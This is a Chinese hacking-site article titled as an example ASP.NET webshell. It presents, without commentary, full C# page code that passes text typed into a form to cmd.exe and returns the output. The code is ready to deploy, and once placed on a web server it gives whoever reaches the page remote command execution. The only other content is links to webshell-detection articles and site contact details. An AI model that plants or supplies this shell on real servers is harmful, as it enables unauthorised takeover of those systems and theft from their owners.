华域联盟 .Net 一个ASP.Net下的WebShell实例

一个ASP.Net下的WebShell实例

代码如下:

复制代码 代码如下:

<%@ Page Language="C#" AutoEventWireup="true" %>

<%@ Import Namespace="System.Runtime.InteropServices" %>

<%@ Import Namespace="System.IO" %>

<%@ Import Namespace="System.Data" %>

<%@ Import Namespace="System.Reflection" %>

<%@ Import Namespace="System.Diagnostics" %>

<%@ Import Namespace="System.Web" %>

<%@ Import Namespace="System.Web.UI" %>

<%@ Import Namespace="System.Web.UI.WebControls" %>

<script runat="server">

protected void exec(object sender, EventArgs e)

{

    string item = cmd.Text;

    Process p = new Process();

    p.StartInfo.FileName = "cmd.exe";

    p.StartInfo.UseShellExecute = false;

    p.StartInfo.RedirectStandardInput = true;

    p.StartInfo.RedirectStandardOutput = true;

    p.StartInfo.RedirectStandardError = true;

    p.StartInfo.CreateNoWindow = true;

    string strOutput = null;

    p.Start();

    p.StandardInput.WriteLine(item);

    p.StandardInput.WriteLine("exit");

    strOutput = p.StandardOutput.ReadToEnd();

    p.WaitForExit();

    p.Close();

    Response.Write("<pre>");

    Response.Write(strOutput);

    Response.Write("</pre>");

}

    protected void Page_Load(object sender, EventArgs e)

    {

    }

</script>

<form id="form1" runat="server">

<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />

</form>
您可能感兴趣的文章:

  • PHP常见过waf webshell以及最简单的检测方法
  • PHP实现webshell扫描文件木马的方法
  • php木马webshell扫描器代码
  • 精确查找PHP WEBSHELL木马 修正版
  • 精确查找PHP WEBSHELL木马的方法(1)
  • Webshell基础知识深入讲解

本文由 华域联盟 原创撰写:华域联盟 » 一个ASP.Net下的WebShell实例

转载请保留出处和原文链接:https://www.cnhackhy.com/51403.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部